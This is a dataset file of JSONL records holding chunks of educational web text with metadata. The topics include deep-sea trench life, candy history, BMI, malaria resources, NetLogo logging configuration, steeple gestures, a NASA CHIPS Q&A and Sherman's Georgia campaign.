what he found. here \u2019 s a pbs news hour report on that descent : there was also this raw and rather uninformative video of his dive released to the associated press : he dropped a few more public hints about what he saw at the american geophysical union meeting in december, but as far as i know that is all. the only other manned mission to the the mariana, in which jacques piccard and don walsh dropped to the bottom in the bathyscaphe trieste, took place in 1960, and the sediment stirred up by their vessel meant they were able to observe little about the life found there. apparently, at a rather obscure meeting in new orleans this morning ( the 2013 aquatic sciences meeting of the association for the sciences of limnology and oceanography ), natalya gallo, a grad student in charge of analyzing the 25 hours of footage cameron collected while on the bottom of these trenches, presented some \u201c preliminary findings \u201d. to me, this is a bit like televizing the images of the moon landing at an obscure planetary science conference. i don \u2019 t know if any science journalists were there, but the description of what was found in the press release announcing the talk was exciting enough i wanted to share it with you here. early results of gallo \u2019 s analysis reveal a vibrant mix of organisms, different in each trench site. the challenger deep featured fields of giant single - cell amoebas called \u201c xenophyophores, \u201d sea cucumbers, and enormous shrimp - like crustaceans called amphipods. the new britain trench featured hundreds of stunning stalked anemones growing on pillow lavas at the bottom of the trench, as well as a shallower seafloor community dominated by spoon worms, burrowing animals", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.41882901140475537, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.554404"} {"text": "crustaceans called amphipods. the new britain trench featured hundreds of stunning stalked anemones growing on pillow lavas at the bottom of the trench, as well as a shallower seafloor community dominated by spoon worms, burrowing animals that create a rosette around them by licking organic matter off the surrounding sediment with a tongue - like proboscis. in contrast, ulithi \u2019 s seafloor ecosystem in the pacific atolls featured high sponge and coral biodiversity. wait \u2026 what? the spoon worms \u201c create a rosette around them by licking organic matter off the surrounding sediment with a tongue - like proboscis \u201d? pictures or, even better, video please? spoon worms, which don \u2019 t get nearly the press coverage they deserve, appear to be annelids ( like earthworms ) that have lost their segmentation but otherwise preserve an internal annelid - like body plan. the proboscis is just weird, though. known species seem to use it chiefly for filter feeding, so this \u201c licking \u201d behavior, whatever it is, seems to be something out of the ordinary. here are some spoon worms photographed in a south korean market : xenophyophores are even weirder. they appear to be somewhat slime mold - like organisms that consist of a giant bag or cytoplasmic network of cell nuclei that comb the seafloor ingesting food by engulfment ( also called phagocytosis ). unlike terrestrial slime molds, their excretions and feces attract particles that are eventually cemented into odd - looking shells, or tests, that surround the organisms. they seem to have a thing for trenches. we know little about them because their tests are prone to crumbling when collected. here \u2019 s the one fuzzy photo i could find : here \u2019 s another interesting finding mentioned in the press release : proximity to land also played a role in the makeup of the deep - sea environment. deep in the new britain trench, located near papua new guinea, gallo identified palm fronds, leaves, sticks, and coconuts - terrestrial materials known to influence seafloor ecosystems. the challenger deep and ulithi, both more removed from terrestrial influence, were absent of such evidence. gallo also spotted a dive weight in the challenger deep footage, likely used as ballast on another deep - submergence vehicle. no where on earth, it seems, can escape our footprint. i hope someone was at this meeting to report on the talk. if not, i hope we", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.47123599730436433, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.555326"} {"text": "october 30, 2012 here at the smithsonian, we \u2019 ve got quite a sweet tooth. from wayne thiebaud \u2019 s fixation on all things sugar to astronaut candy, the collection is full of treats. so this halloween, look back on the trick or treats that might have been and ahead to the sure - to - be glorious tradition of outer space candy collecting. necco wafers, hershey \u2019 s kisses and heath bars had been delighting mouths for years by the roaring twenties. but the decade proved to be a decadent one, with the introduction of the milky way candy bar, milk duds, baby ruth bar and reese \u2019 s peanut butter cups. unfortunately, the term \u201c candy \u201d was thrown around a little loosely. laxatives and prescriptive chews were also permitted to call themselves candy. candy expert and rutgers university professor samira kawash told food and think, \u201c the first candies were medicinal! an apothecary in the 18th century would prescribe you sugar candy for things like chest ailments or digestion problems. back then, the \u201c spoonful of sugar \u201d idea was literal \u2014 if you had some sort of unpleasant medicine to take, usually a concoction of herbs that might not taste very good, the apothecary would suspend it in sugar. \u201d good thing trick or treating didn \u2019 t take off in america until the mid 20th century, otherwise we \u2019 re pretty sure some forgetful homeowner would \u2019 ve undoubtedly tried to pass these off as halloween handouts. by the 1940s and 50s, americans began their affair with candy in earnest. the tradition of trick - or - treating, originally a much more social activity that entailed visiting in neighbors \u2019 homes, began in the mid - 20th century. in 1943, hershey \u2019 s produced its tropical bar for troops in wwii as a heat - resistant, high - energy snack. according to the american history museum the product, called field ration d, was \u201d so successful that by the end of 1945, approximately 24 million bars were being produced every week. \u201d from the battle front to the final frontier, candy \u2019 s next stop was outer space. maybe not as revolutionary as freeze - dried astronaut ice cream, the space - bound candy treats were still pretty delicious orbiting the earth. and the relationship with candy continues : in july of this summer, the famous confectioners mars inc. donated $ 5 million to help construct an exhibit titled \u201c american enterprise \u201d about business and innovation, set to open", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.46147283563589125, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.558446"} {"text": "enter your weight in pounds and your height in inches in the form below and press the \" compute bmi \" button. what your bmi means body mass index ( bmi ) is one of the most accurate ways to determine when extra pounds translate into health risks. bmi is a measure which takes into account a personis weight and height to gauge total body fat in adults. someone with a bmi of 26 to 27 is about 20 percent overweight, which is generally believed to carry moderate health risks. a bmi of 30 and higher is considered obese. the higher the bmi, the greater the risk of developing additional health problems. heart disease, diabetes and high blood pressure are all linked to being overweight. a bmi of 30 and over increases the risk of death from any cause by 50 to 150 percent, according to some estimates. according to health experts, people who are overweight but have no other health risk factors ( such as high cholesterol or high blood pressure ) should eat healthier and exercise to keep from gaining additional weight. for people who are overweight and also have health risks, they recommend trying to actively lose weight. be sure to consult your doctor or other health professional before beginning any exercise or weight - loss program. in june 1998, the federal government announced guidelines which create a new definition of a healthy weight - - a bmi of 24 or less. so now a bmi of 25 to 29. 9 is considered overweight. individuals who fall into the bmi range of 25 to 34. 9, and have a waist size of over 40 inches for men and 35 inches for women, are considered to be at especially high risk for health problems. bmi health information by the calorie control council", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5110831534911227, "token_count": 353, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.560105"} {"text": "- health songs international health songs international is a not for profit organization dedicated to bringing vital health messages to vulnerable communities throughout the world through the use of songs. cutting trees in the amazon triggers a jump in malaria if a tree falls in the amazon, does it matter to malaria - carrying mosquitoes? some mosquitoes that transmit malaria don \u2019 t like the rain forest much. yes, say researchers from the university o malaria : new hope for the number 2 biggest killer by infection on the planet malaria is the second biggest cause of death by infection on earth, whilst in africa it is number 1, claiming 5 million victims per year. in adults if often reoccurs, whilst t a systems - based analysis of plasmodium vivax lifecycle transcription from human to mosquito up to 40 % of the world \u2019 s population is at risk for plasmodium vivax malaria, a disease that imposes a major public health and economic burden on endemic countri chemical genetics of plasmodium falciparum malaria caused by plasmodium falciparum is a disease that is responsible for 880, 000 deaths per year worldwide. vaccine development has proved difficult and resistance has emerged for most antimalarial drugs. - science direct use of magnetically purified plasmodium falciparum parasites improves the accuracy of erythrocyte invasion assays merozoite invasion of erythrocytes is a crucial step for the asexual cycle of plasmodium falciparum. multiple invasion pathways, which inv - 7th space. com severe neurological sequelae and behaviour problems after cerebral malaria in ugandan children. cerebral malaria is the most severe neurological complication of falciparum malaria and a leading cause of death and neuro - disability in sub - saharan africa. - emja \u2013 the medical journal of australia important information regarding the close monitoring of a returning treveller \u2019 s declining health, especially regarding potential malaria infections or other mosquito borne diseases - malaria no more \u2013 january 21, 2010 gorillas cause trouble for malaria eradication in a new study, researchers found that gorillas carry malaria. this is good news for humans because now gorillas could aid us in developing a malaria vaccine. however, this is also bad news for humans beca - the malaria journal \u2013 january 11, 2010 severe malaria \u2013 a case of fatal plasmodium knowlesi infection with post - mortem findings : a case report zoonotic malaria caused by plasmodium knowlesi", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.39468804850877703, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.564819"} {"text": "news for humans beca - the malaria journal \u2013 january 11, 2010 severe malaria \u2013 a case of fatal plasmodium knowlesi infection with post - mortem findings : a case report zoonotic malaria caused by plasmodium knowlesi is an important, but newly recognized, human pathogen. for the first time, post - mortem findings from - national institute of alleregy and infectious diseases ( niaid ) niaid malaria research program web site. - bbc health bbc health malaria information site. - the travel doctor malaria information page. lots of diagrams and useful information about malaria. malaria \u2013 symptoms \u2013 signs \u2013 treatment etc. - malaria hot spots this site is an educational initiative by glaxosmithkline travel health. you can find out about the country you are going to travel to and what the risks are likely to be. - cdc website human plasmodium knowlesi infection detected by rapid diagnostic tests for malaria we describe a pcr - confirmed case of plasmodium knowlesi infection with a high parasitemia level and clinical signs of severe malaria in a migrant worker from malaysian b - unicef \u2013 what every family and community has a right to know about malaria. a site with information about transmission, treatment, and prevention of malaria - royal perth hospital \u2013 malaria resource page this resource is presented by the division of laboratorymedicine at royal perth hospital. it is provided for the information of medical practitioners and laboratory scientists. it is regularly updated and provides the generally accepted best current p - malaria site \u2013 history of malaria treatment a comprehensive site on the treatment of malaria. - 2007 \u2013 unicef report on malaria this unicef report shows gains made in reducing the burden of malaria. - release of the first world malaria report video stored on youtube. - who world malaria report 2005 information and statistics on the roll back malaria program. - preventing malaria a uk website that enables travellers to get fast, accurate information about the relative risks of infection posed by the countries they intend to visit. it also provides them with details of the immunisation requirements of each region. - world health organization who malaria information page. - malaria in southern africa this is an entry page to websites with malaria content relevant to the southern african context - leiden universtity medical center background information about malaria - us center for disease control malaria information page.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.45519580886050476, "token_count": 468, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.565729"} {"text": "netlogo ' s logging facility allows researchers to record student actions for later analysis. logging in netlogo, once initiated, is invisible to the student. the researcher can choose the type of events logged through a configuration file. netlogo uses the log4j package for logging. if you have previous experience with this package you ' ll find logging in netlogo familiar. logging is supported only by the special netlogo logging application. it doesn ' t work in applets. this depends on what operating system you are using. there is a special logging launcher in the netlogo directory called netlogo logging. double click on the icon. on windows, the netlogo directory can be found at c : \\ program files, unless you chose a different location when you installed netlogo. to enable logging, invoke the netlogo. sh script as follows : netlogo. sh - - logging netlogo _ logging. xml you could also modify the script to include these flags, or copy the script and modify the copy. you can replace netlogo _ logging. xml with any valid log4j xml configuration file, which will be discussed in more detail later. when netlogo starts up it will ask for a user name. this name will appear in all the logs generated during this session. logs are stored in the os - specific temp directory. on most unix - like systems that is / tmp. on windows xp, logs can be found in c : \\ documents and settings \\ < user > \\ local settings \\ temp, where < user > is the logged in user and on windows vista the logs can be found in c : \\ users \\ < user > \\ appdata \\ local \\ temp. on mac os x, the temp directory varies for each user. you can determine your temp directory by opening the terminal application and typing echo $ tmpdir at the prompt. there are two convenience commands that will help you manage the logs. _ _ zip - log - files filename will gather all the logs in the temp directory and put them in one zip file, at the location specified. after doing _ _ zip - log - files the existing logs are not deleted, you can do so explicitly by using _ _ delete - log - files. the following is a chart describing the name of the loggers available, the type of events each logs, at what level, and provides a sample output using the xmllayout. all the", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4306580555516195, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.574355"} {"text": "explicitly by using _ _ delete - log - files. the following is a chart describing the name of the loggers available, the type of events each logs, at what level, and provides a sample output using the xmllayout. all the loggers are found in org. nlogo. log. logger. when referring to the loggers in the configuration file you should use the fully qualified name. so, for example, the logger globals would actually be org. nlogo. log. logger. globals | globals | | a global variable changes | | info, debug | | < event logger = \" org. nlogo. log. logger. globals \" timestamp = \" 1177341065988 \" level = \" info \" type = \" globals \" > < name > foo < / name > < value > 51. 0 < / value > < / event > | greens | | sliders, switches, choosers, input boxes are changed through the interface | | info | | < event logger = \" org. nlogo. log. logger. greens \" timestamp = \" 1177341065988 \" level = \" info \" type = \" slider \" > < action > changed < / action > < name > foo < / name > < value > 51. 0 < / value > < parameters > < min > 0. 0 < / min > < max > 100. 0 < / max > < inc > 1. 0 < / inc > < / parameters > < / event > | code | | code is compiled, including : command center, code tab, slider bounds, and buttons | | info | | < event logger = \" org. nlogo. log. logger. code \" timestamp = \" 1177341072208 \" level = \" info \" type = \" command center \" > < action > compiled < / action > < code > crt 1 < / code > < agenttype > o < / agenttype > < errormessage > success < / errormessage > < / event > | widgets | | a widget is added or removed from the interface | | info | | < event logger = \" org. nlogo. log. logger. widgets \" timestamp = \" 1177341058351 \" level = \" info \" type = \" slider \" > < name >", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4450003223603326, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.575749"} {"text": "info | | < event logger = \" org. nlogo. log. logger. widgets \" timestamp = \" 1177341058351 \" level = \" info \" type = \" slider \" > < name > < / name > < action > added < / action > < / event > | buttons | | a button is pressed or released | | info | | < event logger = \" org. nlogo. log. logger. buttons \" timestamp = \" 1177341053679 \" level = \" info \" type = \" button \" > < name > show 1 < / name > < action > released < / action > < releasetype > once < / releasetype > < / event > | speed | | the speed slider changes | | info | | < event logger = \" org. nlogo. log. logger. speed \" timestamp = \" 1177341042202 \" level = \" info \" type = \" speed \" > < value > 0. 0 < / value > < / event > | turtles | | turtles die or are born | | info | | < event logger = \" org. nlogo. log. logger. turtles \" timestamp = \" 1177341094342 \" level = \" info \" type = \" turtle \" > < name > turtle 1 < / name > < action > born < / action > < breed > turtles < / breed > < / event > | links | | links die or are born | | info | | < event logger = \" org. nlogo. log. logger. links \" timestamp = \" 1177341094342 \" level = \" info \" type = \" link \" > < name > link 2 7 < / name > < action > born < / action > < breed > links < / breed > < / event > the default logging configuration ( netlogo _ logging. xml ) looks something like this : netlogo defines 8 loggers, all descend directly from the root logger, which means unless you explicitly set the properties ( appender, layout, and output level ) in the configuration they will inherit them from the root. in the default configuration the root is set to level info, the appender is org. nlogo. log. xmlfileappender and layout is org. nlogo. log. xmllayout. together these generate a nicely formatted xml", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.46380027184148676, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.576645"} {"text": "the default configuration the root is set to level info, the appender is org. nlogo. log. xmlfileappender and layout is org. nlogo. log. xmllayout. together these generate a nicely formatted xml file as defined in the netlogo _ logging. dtd which is based on the log4j dtd. if the appender is a fileappender ( including the xmlfileappender ) a new file is start each time the user opens a model. < log4j : configuration debug = \" false \" xmlns : log4j = ' http : / / jakarta. apache. org / log4j / ' > < appender name = \" a1 \" class = \" org. nlogo. log. xmlfileappender \" > < layout class = \" org. nlogo. log. xmllayout \" / > < / appender > < category name = \" org. nlogo. log. logger. widgets \" > < priority value = \" off \" / > < / category > < category name = \" org. nlogo. log. logger. turtles \" > < priority value = \" off \" / > < / category > < category name = \" org. nlogo. log. logger. links \" > < priority value = \" off \" / > < / category > < root > < priority value = \" info \" / > < appender - ref ref = \" a1 \" / > < / root > < / log4j : configuration > this configuration, first defines an appender named \" a1 \" of type xmlfileappender with an xmllayout. the appender defines where the logging data goes, in this case the data goes into a file. in fact, if netlogo is given a fileappender it will automatically start a new file every time the user opens a new model. the xmlfileappender also does some formatting and writes the appropriate headers to the file. the layout defines how to write each individual message. unless you are an advanced user there is no need change ( or worry about ) the appender or the layout. at the end of the configuration notice the definition of the root logger. all", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.44002465008263375, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.577517"} {"text": "the layout defines how to write each individual message. unless you are an advanced user there is no need change ( or worry about ) the appender or the layout. at the end of the configuration notice the definition of the root logger. all of the other loggers descend from the root logger and, thus, inherit the properties of the root unless explicitly set. this case is fairly simple, having set up the appender a1 we make that the default appender for the root ( and all other loggers ) and make the default priority \" info \". messages that are logged at the info level or higher will be written, messages logged at lower levels will not. note that with only one exception netlogo always logs at level info. sets to globals that don ' t change the value of the global are logged at level debug. which means that these messages are disabled by default, since debug is lower level than info. the rest of the body of the configuration file overrides properties of the root logger in a few specific loggers ( or categories as they are known in the configuration file, the terms can be assumed to be synonymous for the proposes of this document ). that is it turns off the widget, turtles, and links loggers, by default. to re - enable them you can changes the priority from off to info, like this : < category name = \" org. nlogo. log. logger. turtles \" > < priority value = \" info \" / > < / category > or you can simply remove the entire reference to the category from the configuration file, as it is not serving any other purpose. this is only a basic introduction to configuration files for logging in netlogo. there are many more configuration options available through the log4j framework. see the log4j documentation.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.45930706279166705, "token_count": 377, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.580059"} {"text": "the simple act of placing the fingertips of either hand together in front of you to form a steeple is a very effective gesture that is rarely offensive and will establish you as someone [ who is ] both evaluative and in control. - - susan bixler ( the professional image, p. 238 ) gesture. a position in which the tactile pads of the fingertips of one hand gently touch their counterparts on the other. usage : the steeple cue, perhaps first identified by ray l. birdwhistell ( blum 1988 ) reflects precise thought patterns. it may be used while listening, speaking, or thinking, to entertain a provocative or novel idea, or to contemplate a creative solution to problems at hand. business. steeple gestures may be used above a conference table to show that one is listening thoughtfully to a colleague ' s ideas and comments. media. 1. in a classic black - and - white photo by alfred eisenstaedt, physicist robert oppenheimer steepled his fingers while conversing with albert einstein on december 29, 1947. 2. in a today show interview with katie couric on june 24, 2003, bernard kerak, u. s. administrator for iraq, steepled as he calmly explained that the postwar situation in iraq was largely in control. when katie asked about the exploding crime rate there, kerak broke the steeple and vigorously scratched the palm of his hand. after explaining his side of the issue, he resumed steepling until the interview concluded. ( on june 25, 2003, usa today ' s lead article was about the escalating crime rate in iraq. ) observation. 1. the condominium president steepled his fingers at chest level at his body ' s midline and replied, \" i know what i ' m going to do about the board meeting. \" 2. the ceo steepled and leaned back in his boardroom chair as he asked senior staff, \" what shall we do about this problem? \" 3. steeple gestures may be observed at training lectures, news briefings, and seminars on financial planning, e. g., where precise digital opposition reflects careful reasoning, calculation, scheming, and thought. parallel palms. a common variant of the steeple cue is the widespread parallel - palms gesture. in parallel palms, the open hands are held facing - - i. e., parallel to - - one another as they are raised and lowered together ( i. e., in tandem ) in beating or chopping motions", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.5318233248999479, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.584796"} {"text": "parallel - palms gesture. in parallel palms, the open hands are held facing - - i. e., parallel to - - one another as they are raised and lowered together ( i. e., in tandem ) in beating or chopping motions to strengthen a verbal point. as demonstrative speaking gestures, parallel palms are often seen in the courtroom as lawyers seek to manifest or prove an oral argument. parallel palms are used by politicians, as well, to present arguments which they believe to be cogent, sound, and valid. thus, parallel palms is an \" exploded \" version of the steeple cue, in which a speaker ' s opened hands are extended and aggressively shaken at listeners to show a. precise thought and b. a strong emotional conviction about the thought ' s validity. ( n. b. : note how, because the hands are held midway between the palm - down and palm - up positions, parallel - palms cues suggest the physical act of grasping, holding, or seizing a concept. ) world politics. winston churchill and mikhail gorbachev used the steeple gesture to signal self - confidence as they spoke and listened. regarding gorbachev, \" he steeples in moscow. he steeples in washington. he steeples when he listens. he steeples when he talks. he steeples high. he steeples low. he even steeples when he smiles \" ( blum 1988 : 3 - 14 ). research notes : 1. finger - thumb steeple : \" one hand movement which we filmed in a wide variety of places, is habitually used in speech. this involves placing the tips of the thumb and forefinger together to emphasize a line of argument. usually, the hand moves agitatedly to and fro, and the speaker often concludes the gesture by abruptly baring his open palm at the other party \" ( hass 1970 : 148 ). 2. \" when a person in a private session with me displays this behavior and i ask what they are feeling, i can get a range of responses. if, however, i phrase my question in a leading way such as, ' i sense you ' re feeling pretty confident about what you ' ve just said..., ' i will invariably get an affirmation. if the person does not verbally confirm confident feelings, the steepling generally stops when i ask the question this way \" ( blum 1988 : 3 - 13 ). 3. fingers steeple, a widespread gesture, means \" i am thinking \" ( morris 1994 : 65", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5087119622614575, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.585916"} {"text": "chips questions and answers why is it important to study diffuse emission in the chips wavelength band? the chips band contains the significant majority of the radiated power from diffuse hot interstellar plasma in its most probable temperature range. although x - ray and uv studies can detect plasma at greater distances and map it with better angular resolution, extrapolation of such measurements to a total plasma luminosity will be fraught with significant uncertainty until spectroscopic observations of diffuse emission are carried out in the chips band. can observations with chips disentangle all of the cooling mechanisms that might be taking place in the local interstellar medium? the various cooling mechanisms make observationally distinct predictions for the emission in the chips band. in combination with observations of emission and absorption features at other wavelengths, chips data will be extremely helpful in disentangling these processes. chips will do an excellent job of constraining the electron temperature through measurement of collisionally excited line emission. determination of the electron temperature is a crucial step in understanding the cooling process. do current observational limits in the chips band set interesting constraints on the physical properties of plasma in the local bubble? no. current observational limits were set using instruments with limited spectral resolution and many are well above the expected emission - line fluxes. the marginal detection in 18 million seconds of euve observations in regions where the soft x - rays are bright does indicate that diffuse emission is present in our band. what if the foreground absorption column is higher than you have estimated? with nominal assumption, the bright iron emission lines will be detected at 20 to 50 in each sky resel. a higher absorption would reduce the line flux, but, barring some wholly unexpected distribution of the local neutral material, absorption will reduce the euv emission to undetectable levels in only a limited number of viewing directions. the chianti cie plasma model predicts somewhat brighter peak iron line fluxes than the raymond & smith code used in our analysis. select one of the following for more information : mission - education chips bibliography - chips q & a - for more information about chips please send an e - mail to dr. mark hurwitz. if you have questions about or problems with this web page, please send an e - mail to the webmaster. university of california, space sciences laboratory 7 gauss way, berkeley, ca 94720 - 7450, usa chips project manager : ( 510 ) 486 - 6340", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5573969574535597, "token_count": 491, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.589734"} {"text": "sherman in georgia! immediately after his return to atlanta from jonesboro, sherman determined to make that city a military camp, and issued orders accordingly. \" the city of atlanta, \" these orders read, \" being exclusively required for warlike purposes, will at once be vacated by all except the armies of the united states and such civilian employes as may be retained by the proper department of government. \" the chief quartermaster was instructed to take possession of buildings of all kinds, and of all staple articles, such as cotton and tobacco. the chief engineer was to reconnoiter the city and suburbs for a more contracted line of defense, and designate such buildings as should be destroyed to make room for his operations. the remaining buildings would be set apart for different military uses, and under the direction of the quartermaster the troops were to be permitted to pull down buildings and use the materials for constructing shanties and bivouacs. the mayor, james m. calhoun, was compelled to issue the following proclamation, september 8th : to the citizens of atlanta : general sherman instructs me to say to you that you must all leave atlanta ; that as many of you as want to go north can do so, and that as many as want to go south can do so, and that all can take with them their movable property, servants included, if they want to go, but that no force is to be used ; and that he will furnish transportation for persons and property as far as rough and ready, from whence it is expected general hood will assist in carrying it on. like transportation will be furnished for people and property going north, and it is required that all things contemplated by this notice will be carried into execution as soon as possible. in a letter to general hood, sherman wrote that he considered \" it to be to the interest of the united states that all citizens now residing in atlanta should remove, \" to which hood replied : \" this unprecedented measure transcends in studied and ingenious cruelty all acts ever before brought to my attention in the dark history of war. \" he agreed, for the sake of humanity, to assist in the removal of the citizens, and a truce of ten days, applying to the vicinity of rough and ready, was arranged for that purpose. at the same time negotiations were opened for the exchange of prisoners. on the 10th, governor brown addressed general hood in behalf of the militia, stating that they had left their homes without preparation, expecting to serve but a short time, and should be permitted to visit them", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.3842516837049851, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.618669"} {"text": "time negotiations were opened for the exchange of prisoners. on the 10th, governor brown addressed general hood in behalf of the militia, stating that they had left their homes without preparation, expecting to serve but a short time, and should be permitted to visit them. hood ' s return for september 10th showed an effective total of 8, 417 in hardee ' s corps, 7, 401 in lee ' s, 8, 849 in stewart ' s, aggregate 24, 667 infantry. jackson had 3, 794 effective cavalry, and wheeler was in north alabama. the artillery with the army included 3, 382 men, making the total effective force ( excluding wheeler ' s command, absent on an expedition ), 31, 843. the aggregate present was reported at 60, 000, but deducting wheeler ' s 11, 237, shows present with hood on above date 49, 137 of all arms. on the 11th hood telegraphed bragg, now at richmond, that he wished to move by the left flank as soon as possible, so as to interrupt the communications of sherman. in accordance with this plan, wheeler was directed to enter north georgia again, destroy the railroad south of dalton, and connect with jackson, who was to be sent across the chattahoochee. wheeler promptly obeyed the orders and again caused an interruption of a week or two on the western & atlantic railroad. on the 18th, having caused the iron to be removed from the railroads running into atlanta, for a distance of forty miles, and directing railroad stock to be restored to the west point railroad, hood began his movement to the left. taking position from palmetto to the chattahoochee river, he waited there ten days for the accumulation of supplies. in this position he exposed augusta and macon, but he hoped to save them by his proposed flank march. on the 22d he advised general bragg that if sherman did not move south he would cross the chattahoochee and form line of battle near powder springs, which would prevent sherman from using the railroad in his rear, \" and force him to drive me off or move south, when i shall fall upon his rear. \" during this month sherman conceived the idea that georgia might be politically isolated from the other states in the confederacy. knowing that vice - president stephens and governor brown, both influential leaders in georgia, had opposed the president in some matters of policy, sherman conceived the idea that there was such hostility to mr. davis in georgia that he could induce these eminent men to entertain a proposition for", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4574256924950948, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.619693"} {"text": "- president stephens and governor brown, both influential leaders in georgia, had opposed the president in some matters of policy, sherman conceived the idea that there was such hostility to mr. davis in georgia that he could induce these eminent men to entertain a proposition for peace, or even to advise the state to withdraw from the confederacy so as to avoid further destruction of its material interests. acting on this idea, sherman sent ambassadors to stephens and brown, but while they were willing to promote an honorable peace, they declined to consider any dishonor - ing proposition for independent state action, and refused peremptorily to visit the federal commander on the terms stated by him. they were fully determined to remain true to the confederacy, though the prospect of its affairs was very gloomy. president davis, accompanied by senator hill, now came to georgia, and made a speech at macon in which he endeavored to communicate to his hearers his own indomitable spirit. on the 25th and 26th the president visited the army and was enthusiastically received by the troops. during this visit lieutenant - general hardee was supplanted by major - general cheatham, and on october 5th was given command of the department of south carolina, georgia and florida, which had been under the charge of maj. - gen. samuel jones since april 20th. gen. howell cobb was put in command of the district of georgia. september 29th, hood began his northward movement with the entire army, crossing the chattahoochee, and the next day moved toward the line of dallas and marietta, with jackson ' s cavalry at powder springs. sherman was fully aware that he could not remain at atlanta with his great army depending on the western & atlantic railroad for supplies. neither did he feel able to move south against hood. he supposed forrest would cut his railroad, but it could not be helped, he said, for forrest could travel 100 miles while his own cavalry went 10. \" i have sent two divisions up to chattanooga and one to rome, and thomas started to - day to clear out tennessee. \" as soon as advised of hood ' s crossing of the chattahoochee toward his rear, sherman left general slocum and his corps to guard atlanta and the chattahoochee bridge, and started northward in pursuit of hood with five corps. hood reached the vicinity of lost mountain on the 3d, and on the 4th general stewart ' s corps struck the railroad at acworth and big shanty, capturing 400 prisoners and some stores. major - general french ' s", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4154638957315071, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.620811"} {"text": "of hood with five corps. hood reached the vicinity of lost mountain on the 3d, and on the 4th general stewart ' s corps struck the railroad at acworth and big shanty, capturing 400 prisoners and some stores. major - general french ' s division, about 3, 000 strong, was sent against allatoona, one of sherman ' s most important depots, where were stored about 1, 000, 000 rations. the federal garrison of 890 men, under colonel tourtellotte, had been reinforced by gen. john m. corse with one brigade, 1, 054 strong, from rome, the orders being transmitted mainly by the signal stations established on the summits of the hills and mountains along the federal line of communication. corse reached allatoona about 1 a. m. of the 5th. french arrived about 3 a. m., uninformed of the federal reinforcements, and before daylight, while skirmishing was going on with the pickets, endeavored to gain the ridge commanding the town. at dawn he resumed his march, and by 7 : 30 the head of his column was on the ridge about 600 yards west of the federal works, which consisted of three redoubts on the west of the deep railroad cut, and a star fort on the east, with outer works, abatis, stockades and other obstructions. - meanwhile general corse had disposed his forces in and before his fortifications, with tourtellotte in command on the east of the cut. french sent general sears ' brigade to the north of the works, while major myrick opened fire with his artillery. the plan was for sears to begin the fight, upon which gen. f. m. cockrell ' s missouri brigade would attack from the other side, supported by four texas regiments under gen. w. h. young. at 9 o ' clock, when the troops were in position, general french sent in a summons for unconditional surrender, to avoid \" the needless effusion of blood, \" and gave five minutes for reply. general corse declined and the attack began. the missourians and texans struck the line on the west of the cut commanded by colonel rowett, and after severe fighting, says corse, swept part of his line back like so much chaff. corse was only able under cover of a heavy fire from tourtellotte to send an aide over for reinforcements. before they could arrive both sears and young, according to corse ' s report, 